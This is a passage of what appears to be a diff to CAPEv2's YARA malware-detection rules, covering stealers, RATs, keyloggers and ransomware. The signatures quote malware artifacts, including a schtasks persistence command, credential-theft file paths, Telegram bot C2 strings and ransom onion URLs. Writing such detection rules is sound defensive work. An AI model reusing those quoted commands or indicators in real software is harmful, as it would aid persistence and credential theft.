FC} + $string1 = "GDCB-DECRYPT.txt" wide + $string2 = "GandCrabGandCrabnomoreransom.coinomoreransom.bit" + $string3 = "action=result&e_files=%d&e_size=%I64u&e_time=%d&" wide + $string4 = "KRAB-DECRYPT.txt" wide condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of ( $string* ) } -rule CAPE_Stealcv2 : FILE +rule CAPE_Vipkeylogger : FILE { meta: - description = "Stealc V2 Payload" + description = "Detects VIPKeyLogger Keylogger" author = "kevoreilly" - id = "0f72c468-9485-5e29-b29a-7dfc3e579e02" - date = "2023-02-22" - modified = "2025-08-21" + id = "71606fcc-89b4-519a-833a-b6cb4b569cb8" + date = "2025-09-11" + modified = "2025-09-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Stealc.yar#L15-L32" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "911c6a7f63e91a788898f3cc6e66396e39d5bd48f8fbaac49ee5dbbdaa64d5a0" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/VIPKeyLogger.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b9dba7562bba4807c0789692d44650996e62c8d0c4031dedd65773877621b1de" score = 75 quality = 70 tags = "FILE" - cape_type = "Stealc Payload" - packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6" - packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387" + cape_type = "VIPKeyLogger Payload" + packed = "edaba79c3d43a416a86003f336d879ed3a513aa24dd401340584615647ed6da2" strings: - $decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B} - $dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3} - $date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 A4 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3} - $decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72} - $dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89} - $date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0} + $s1 = "/ VIP Recovery \\" wide + $s2 = "Clipboard Logs ID" wide + $s3 = "Keylogger" wide condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5a4d and all of them } -rule CAPE_Ursnif : FILE +rule CAPE_Kovter : FILE { meta: - description = "Ursnif Payload" - author = "kevoreilly & enzo" - id = "200c2227-0d34-5e4a-b5aa-ab63a077d141" + description = "Kovter Payload" + author = "kevoreilly" + id = "3dec3c4b-4678-5ed1-a4c3-c3d9abb58b1c" date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Ursnif.yar#L1-L19" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "46e79fde81ff5352314618021e394b2e0322df07170c7279363290b7134935fd" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Kovter.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "888fccb8fbfbe6c05ec63bc5658b4743f8e10a96ef51b3868c2ff94afec76f2d" score = 75 quality = 70 tags = "FILE" - cape_type = "Ursnif Payload" + cape_type = "Kovter Payload" strings: - $crypto64_1 = {41 8B 02 ?? C1 [0-1] 41 33 C3 45 8B 1A 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 D?} - $crypto64_2 = {44 01 44 24 10 FF C1 41 8B C0 D1 64 24 10 33 C3 41 8B D8 FF 4C 24 10 41 33 C3 01 44 24 10 D3 C8 01 44 24 10 41 89 02 49 83 C2 04 83 C2 FF 75 C3} - $crypto64_3 = {33 C6 ?? C7 [0-1] 49 83 C2 04 33 C3 8B F1 8B CF D3 C8 89 02 48 83 C2 04 41 83 C3 FF 75 ?? 45 85 C9 75 ?? 41 83 E0 03} - $crypto64_4 = {41 8B 02 41 8B CB 41 83 F3 01 33 C3 41 8B 1A C1 E1 03 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 C6} - $decrypt_config64 = {44 8B D9 33 C0 45 33 C9 44 33 1D ?? ?? ?? 00 ?? ?? D2 ?? ?? D2 74 ?? 4C 8D 42 10 45 3B 0A 73 2? 45 39 58 F8 75 1C 41 F6 40 FC 01 74 12} - $crypto32_1 = {01 45 FC D1 65 FC FF 4D FC 33 C1 33 45 0C 01 45 FC 43 8A CB D3 C8 8B CE 01 45 FC 89 02 83 C2 04 FF 4D 08 75 CD} - $crypto32_2 = {33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 D9} - $decrypt_config32 = {8B ?? 08 5? 33 F? 3B [1-2] 74 14 A1 0? ?? ?? ?? 35 ?? ?? ?? ?? 50 8B D? E8 ?? D? 00 00 EB 02 33 C0 ?B ?? ?? ?? ?? ?? ?? ?? 74 14 8D 4D ?? ?? ?? 50 FF D? 85 C0 74 08} + $a1 = "chkok" + $a2 = "k2Tdgo" + $a3 = "13_13_13" + $a4 = "Win Server 2008 R2" condition: - uint16( 0 ) == 0x5A4D and ( $decrypt_config64 and any of ( $crypto64* ) ) or ( $decrypt_config32 and any of ( $crypto32* ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Tclient : FILE +rule CAPE_Remcos : FILE { meta: - description = "TClient Payload" + description = "Remcos Payload" author = "kevoreilly" - id = "38c9ea20-9d91-5fb0-8b3b-170538ad7ea8" + id = "f77295ca-02d5-5b2c-80b8-b6566610bff8" date = "2019-10-30" - modified = "2022-06-09" + modified = "2022-05-10" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/TClient.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6edcd01e4722b367723ed77d9596877d16ee35dc4c160885d125f83e45cee24d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Remcos.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "38142e784ad437d9592353b924f74777bb62e5ed176c811230a2021a437d4710" score = 75 - quality = 70 + quality = 68 tags = "FILE" - cape_type = "TClient Payload" + cape_type = "Remcos Payload" strings: - $code1 = {41 0F B6 00 4D 8D 40 01 34 01 8B D7 83 E2 07 0F BE C8 FF C7 41 0F BE 04 91 0F AF C1 41 88 40 FF 81 FF 80 03 00 00 7C D8} + $name = "Remcos" nocase + $time = "%02i:%02i:%02i:%03i" + $crypto1 = {81 E1 FF 00 00 80 79 ?? 4? 81 C9 00 FF FF FF 4? 8A ?4 8?} + $crypto2 = {0F B6 [1-7] 8B 45 08 [0-2] 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 ?? ?? FF FF 30 06 47 3B 7D 0C 72} condition: - uint16( 0 ) == 0x5A4D and any of ( $code* ) + uint16( 0 ) == 0x5A4D and ( $name ) and ( $time ) and any of ( $crypto* ) } -rule CAPE_Tscookie : FILE +rule CAPE_Locky : FILE { meta: - description = "TSCookie Payload" + description = "Locky Payload" author = "kevoreilly" - id = "e1efd356-7170-5454-bf40-68927c71816c" + id = "664d0365-af49-5222-a4ed-9260332f6940" date = "2019-10-30" - modified = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/TSCookie.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0461c7fd14c74646437654f0a63a4a89d4efad620e197a8ca1e8d390618842c3" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Locky.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "9786c54a2644d9581fefe64be11b26e22806398e54e961fa4f19d26eae039cd7" score = 75 quality = 70 tags = "FILE" - cape_type = "TSCookie Payload" + cape_type = "Locky Payload" strings: - $string1 = "http://%s:%d" wide - $string2 = "/Default.aspx" wide - $string3 = "\\wship6" + $string1 = "wallet.dat" wide + $string2 = "Locky_recover" wide + $string3 = "opt321" wide condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Carbanak : FILE +rule CAPE_Obfuscar : FILE { meta: - description = "Carnbanak Payload" - author = "enzok" - id = "e6d395d5-65ba-5efb-bcbc-c6d56a96f0c1" - date = "2023-11-30" - modified = "2024-03-18" + description = "Obfuscar xor routime" + author = "kevoreilly" + id = "81eeb62f-578f-5c75-bc96-091d5727a20a" + date = "2025-03-07" + modified = "2025-03-07" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Carbanak.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "c9c1b06cb9c9bd6fc4451f5e2847a1f9524bb2870d7bb6f0ee09b9dd4e3e4c84" - logic_hash = "8ed5ab07f1635dc7cdf296e86a71a0a99d0b2faef8fc460f43d426b24b8c8367" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Obfuscar.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "54581e83e5fa13fae4bda74016b3fa1d18c92e2659f493ebe54d70fd5f77bba5" score = 75 quality = 70 tags = "FILE" - cape_type = "Carbanak Payload" strings: - $sboxinit = {0F BE 02 4? 8D 05 [-] 4? 8D 4D ?? E8 [3] 00 33 F6 4? 8D 5D ?? 4? 63 F8 8B 45 ?? B? B1 E3 14 06} - $decode_string = {0F BE 03 FF C9 83 F8 20 7D ?? B? 1F [3] 4? 8D 4A E2 EB ?? 3D 80 [3] 7D ?? B? 7F [3] 4? 8D 4A A1 EB ?? B? FF [3] 4? 8D 4A 81} - $constants = {0F B7 05 [3] 00 0F B7 1D [3] 00 83 25 [3] 00 00 89 05 [3] 00 0F B7 05 [3] 00 89 1D [3] 00 89 05 [3] 00 33 C0 4? 8D 4D} + $decode = {06 91 06 61 20 [4] 61 D2 9C 06 17 58 0A 06 7E [4] 8E 69 FE 04 2D ?? 2A} condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Latrodectus_1 +rule CAPE_Formbook { meta: - description = "Latrodectus Payload" - author = "enzok" - id = "956b6736-b3ef-5974-b3dd-02d04336dbe8" - date = "2024-01-18" - modified = "2025-05-10" + description = "Formbook Payload" + author = "kevoreilly" + id = "3389c0a7-eb86-5465-8a14-63f812d257db" + date = "2019-10-30" + modified = "2023-10-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Latrodectus.yar#L1-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "a547cff9991a713535e5c128a0711ca68acf9298cc2220c4ea0685d580f36811" - logic_hash = "a8430299930f4c8de0a88c6836d4821871f7183cc5ff44ea9be84fbea47bbb13" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Formbook.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "63ee4dd6fe5ed2a3e5ee88ba7de48d2c9e0024961a550d0fdb68891c9885e05e" score = 75 quality = 70 tags = "" - cape_type = "Latrodectus Payload" + cape_type = "Formbook Payload" + packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522" + packed = "2379a4e1ccdd7849ad7ea9e11ee55b2052e58dda4628cd4e28c3378de503de23" strings: - $fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08} - $fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01} - $procchk1 = {E8 [3] FF 85 C0 74 [2] FF FF FF FF E9 [4] E8 [4] 89 44 24 ?? E8 [4] 83 F8 4B 73 ?? 83 [3] 06} - $procchk2 = {72 [2] FF FF FF FF E9 [4] E8 [4] 83 F8 32 73 ?? 83 [3] 06} - $version = {C7 44 2? ?? ?? 00 00 00 C7 44 2? ?? ?? 00 00 00 8B 05 [4] 89} + $remap_ntdll = {33 56 0? 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} + $rc4dec = {F7 E9 C1 FA 03 8B C2 C1 E8 1F 03 C2 8D 04 80 03 C0 03 C0 8B D1 2B D0 8A 04 3A 88 8C 0D [4] 88 84 0D [4] 41 81 F9 00 01 00 00 7C} + $decrypt = {8A 50 01 28 10 48 49 75 F7 83 FE 01 76 14 8B C7 8D 4E FF 8D 9B 00 00 00 00 8A 50 01 28 10 40 49 75 F7} + $string = {33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8B 55 0C 8D 44 00 02 50 52 51 E8} + $mutant = {64 A1 18 00 00 00 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B E5 5D C3} + $postmsg = {8B 7D 0C 6A 00 6A 00 68 11 01 00 00 57 FF D6 85 C0 75 ?? 50} condition: - all of them + 2 of them } -rule CAPE_Latrodectus_AES +rule CAPE_Mole : FILE { meta: - description = "Latrodectus Payload" - author = "enzok" - id = "16c295f5-cea0-57b5-b826-e1126e50c8cc" - date = "2024-01-18" - modified = "2025-05-10" + description = "Mole Payload" + author = "kevoreilly" + id = "1185170f-4a5b-5347-807b-ef2af98a1a09" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Latrodectus.yar#L18-L34" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "5cecb26a3f33c24b92a0c8f6f5175da0664b21d7c4216a41694e4a4cad233ca8" - logic_hash = "058d278c16527969066d1b4ea7f0e3ab2809d5480cdab06ec476b465e0c4795a" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Mole.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "8be4d190d554a610360c0e04b33da59eb00319395e5b2000d580546ce6503786" score = 75 quality = 70 + tags = "FILE" + cape_type = "Mole Payload" + + strings: + $a1 = ".mole0" wide + $a2 = "_HELP_INSTRUCTION.TXT" wide + $a3 = "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" + + condition: + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) +} +rule CAPE_Asyncrat_Kingrat +{ + meta: + description = "No description has been set in the source file - CAPE" + author = "jeFF0Falltrades" + id = "45efdcdf-b255-5913-97eb-f296d2c4eb1f" + date = "2024-10-09" + modified = "2025-02-03" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L1-L30" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "1400d2029dfb66d8f2dc34db8643d6301f3af9bd356639f883d2c10bcc0c3947" + score = 75 + quality = 58 tags = "" - cape_type = "Latrodectus Payload" + cape_type = "AsyncRAT Payload" strings: - $fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08} - $fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01} - $key = {C6 44 2? ?? ?? [150] C6 44 2? ?? ?? B8 02} - $aes_ctr_1 = {8B 44 24 ?? FF C8 89 44 24 ?? 83 7C 24 ?? 00 7C ?? 4? 63 44 24 ?? 4? 8B 4C 24 ?? 0F B6 84 01 F0 00 00 00 3D FF 00 00 00} - $aes_ctr_2 = {48 03 C8 48 8B C1 0F B6 ?? 48 63 4C 24 ?? 0F B6 4C 0C ?? 33 C1 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 03 D1 48 8B CA 88 01} - $version = {C7 44 2? ?? ?? 00 00 00 C7 44 2? ?? ?? 00 00 00 8B 05 [4] 89} + $str_async = "AsyncClient" wide ascii nocase + $str_aes_exc = "masterKey can not be null or empty" wide ascii + $str_schtasks = "schtasks /create /f /sc onlogon /rl highest" wide ascii + $byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 } + $byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 } + $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } + $patt_config = { 72 [3] 70 80 [3] 04 } + $dcrat_1 = "dcrat" wide ascii nocase + $dcrat_2 = "qwqdan" wide ascii + $dcrat_3 = "YW1zaS5kbGw=" wide ascii + $dcrat_4 = "VmlydHVhbFByb3RlY3Q=" wide ascii + $dcrat_5 = "save_Plugin" wide ascii + $ww2 = "WorldWindClient" wide fullword nocase + $ww3 = "WorldWindStealer" wide fullword nocase + $ww4 = "*WorldWind Pro - Results:*" wide fullword nocase + $ww5 = /WorldWind(\s)?Stealer/ ascii wide + $prynt = /Prynt(\s)?Stealer/ ascii wide condition: - all of them + ( not any of ( $dcrat* ) and not any of ( $ww* ) and not $prynt ) and 6 of them and #patt_config >= 10 } -rule CAPE_Nightshadec2 : FILE +rule CAPE_Stormkitty : FILE { meta: - description = "NightshadeC2 AKA CastleRAT - https://x.com/YungBinary/status/1963751038340534482" - author = "YungBinary" - id = "d70f9051-c7ab-537a-ab80-03ae7ef80b81" - date = "2025-09-04" - modified = "2025-09-12" + description = "StormKitty infostealer payload" + author = "ditekSHen" + id = "71239da9-064f-58c4-a6fa-eb4983a3f55e" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/NightshadeC2.yar#L1-L20" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "963c012d56c62093d105ab5044517fdcce4ab826f7782b3e377932da1df6896d" - logic_hash = "f9fabc391e21180a1c92abea0a5ded6d7669e8d8f2330b69d6c1227c9b4237a0" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L32-L57" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "258f5d9da80ff912459194b1139f062491df21a44456942951e2bd98e4b86c9b" score = 75 - quality = 70 + quality = 66 tags = "FILE" - cape_type = "NightshadeC2 Payload" + cape_type = "StormKitty Payload" strings: - $s1 = "keylog.txt" fullword wide - $s2 = "\"%ws\" --mute-audio --do-not-de-elevate" fullword wide - $s3 = "\"%ws\" -no-deelevate" fullword wide - $s4 = "MachineGuid" fullword wide - $s5 = "www.ip-api.com" fullword wide - $s6 = "rundll32 \"C:\\Windows\\System32\\shell32.dll\" #61" fullword wide - $s7 = "IsabellaWine" fullword wide - $s8 = "Shell_TrayWnd" fullword wide + $x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii + $x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii + $x3 = "StormKitty" fullword ascii + $s1 = "GetBSSID" fullword ascii + $s2 = "GetAntivirus" fullword ascii + $s3 = "C:\\Users\\Public\\credentials.txt" fullword wide + $s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide + $s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide + $s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide + $ww2 = "WorldWindClient" wide fullword nocase + $ww3 = "WorldWindStealer" wide fullword nocase + $ww4 = "*WorldWind Pro - Results:*" wide fullword nocase + $ww5 = /WorldWind(\s)?Stealer/ ascii wide + $prynt = /Prynt(\s)?Stealer/ ascii wide condition: - uint16( 0 ) == 0x5A4D and 3 of them + uint16( 0 ) == 0x5a4d and ( not any of ( $ww* ) and not $prynt ) and ( 2 of ( $x* ) or 5 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $x* ) ) ) } -rule CAPE_Dridexloader_1 : FILE +rule CAPE_Worldwind : FILE { meta: - description = "Dridex v4 dropper C2 parsing function" - author = "kevoreilly" - id = "43bd9631-4611-567c-bee5-d926e060b977" - date = "2019-11-12" - modified = "2021-03-10" + description = "Detects WorldWind infostealer" + author = "ditekSHen" + id = "226f591a-dc06-54f5-96ae-d142f624ff71" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/DridexLoader.yar#L1-L17" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "20696b1f14539c8ecf21bffc696596040c20b1ee2fcedc173945482c0baca588" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L60-L82" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "9bb04fad460193cd877ea7f2de9337f69aadda01aee6c79f0a23cdf564b1e6c8" score = 75 quality = 70 tags = "FILE" - cape_type = "DridexLoader Payload" + cape_type = "WorldWind Payload" strings: - $c2parse_1 = {57 0F 95 C0 89 35 [4] 88 46 04 33 FF 80 3D [4] 00 76 54 8B 04 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66 8B 04 FD [4] 66 89 45 F0 8D 45 F8 50} - $c2parse_2 = {89 45 00 0F B7 53 04 89 10 0F B6 4B 0C 83 F9 0A 7F 03 8A 53 0C 0F B6 53 0C 85 D2 7E B7 8D 74 24 0C C7 44 24 08 00 00 00 00 8D 04 7F 8D 8C 00} - $c2parse_3 = {89 08 66 39 1D [4] A1 [4] 0F 95 C1 88 48 04 80 3D [4] 0A 77 05 A0 [4] 80 3D [4] 00 56 8B F3 76 4E 66 8B 04 F5} - $c2parse_4 = {0F B7 C0 89 01 A0 [4] 3C 0A 77 ?? A0 [4] A0 [4] 57 33 FF 84 C0 74 ?? 56 BE} - $c2parse_5 = {0F B7 05 [4] 89 02 89 15 [4] 0F B6 15 [4] 83 FA 0A 7F 07 0F B6 05 [4] 0F B6 05 [4] 85 C0} - $c2parse_6 = {0F B7 53 ?? 89 10 0F B6 4B ?? 83 F9 0A 7F 03 8A 53 ?? 0F B6 53 ?? 85 D2 7E B9} + $c1 = /WorldWind(\s)?Stealer/ ascii wide + $x2 = "@FlatLineStealer" ascii wide + $x3 = "@CashOutGangTalk" ascii wide + $m1 = ".Passwords.Targets." ascii + $m2 = ".Modules.Keylogger" ascii + $m3 = ".Modules.Clipper" ascii + $m4 = ".Modules.Implant" ascii + $s1 = "--- Clipper" wide + $s2 = "Downloading file: \"{file}\"" wide + $s3 = "/bot{0}/getUpdates?offset={1}" wide + $s4 = "send command to bot!" wide + $s5 = " *Keylogger " fullword wide + $s6 = "*Stealer" wide + $s7 = "Bot connected" wide condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5a4d and 1 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $m* ) or 3 of ( $s* ) ) } -rule CAPE_Petrwrap : FILE +rule CAPE_Prynt : FILE { meta: - description = "PetrWrap Payload" - author = "kevoreilly" - id = "83762c87-6e96-50fe-b297-e1a5f893be43" - date = "2019-10-30" - modified = "2022-06-09" + description = "Detects Prynt infostealer" + author = "ditekSHen" + id = "844fd100-b04e-5ff0-9fab-d45f48b55bcc" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/PetrWrap.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6dd1cf5639b63d0ab41b24080dad68d285f2e3969ad34fd724c83e7a0dd4b968" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L85-L107" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "84f2b33285ab1d129a62940a02990639cc8f7c92d490d7257e6aed9170d1e34e" score = 75 quality = 70 tags = "FILE" - cape_type = "PetrWrap Payload" + cape_type = "Prynt Payload" strings: - $a1 = "http://petya3jxfp2f7g3i.onion/" - $a2 = "http://petya3sen7dyko2n.onion" - $b1 = "http://mischapuk6hyrn72.onion/" - $b2 = "http://mischa5xyix2mrhd.onion/" + $c1 = /Prynt(\s)?Stealer/ ascii wide + $x2 = "@FlatLineStealer" ascii wide + $x3 = "@CashOutGangTalk" ascii wide + $m1 = ".Passwords.Targets." ascii + $m2 = ".Modules.Keylogger" ascii + $m3 = ".Modules.Clipper" ascii + $m4 = ".Modules.Implant" ascii + $s1 = "--- Clipper" wide + $s2 = "Downloading file: \"{file}\"" wide + $s3 = "/bot{0}/getUpdates?offset={1}" wide + $s4 = "send command to bot!" wide + $s5 = " *Keylogger " fullword wide + $s6 = "*Stealer" wide + $s7 = "Bot connected" wide condition: - uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( any of ( $b* ) ) + uint16( 0 ) == 0x5a4d and 1 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $m* ) or 3 of ( $s* ) ) } -rule CAPE_Zerot : FILE +rule CAPE_Xworm_1 : FILE { meta: - description = "ZeroT Payload" - author = "kevoreilly" - id = "dc5dc18c-2ec6-541d-905c-42543f17b16d" - date = "2019-10-30" - modified = "2019-10-30" + description = "Detects XWorm" + author = "ditekSHen" + id = "bf9115a7-850a-5326-860c-a9a71bc7e50c" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/ZeroT.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "f60ae25ac3cd741b8bdc5100b5d3c474b5d9fbe8be88bfd184994bae106c3803" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L110-L136" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5a86c2f0a188135e53d86c176806a208abbe3dd830bde364016859ffa5294bd7" score = 75 quality = 68 tags = "FILE" - cape_type = "ZeroT Payload" + cape_type = 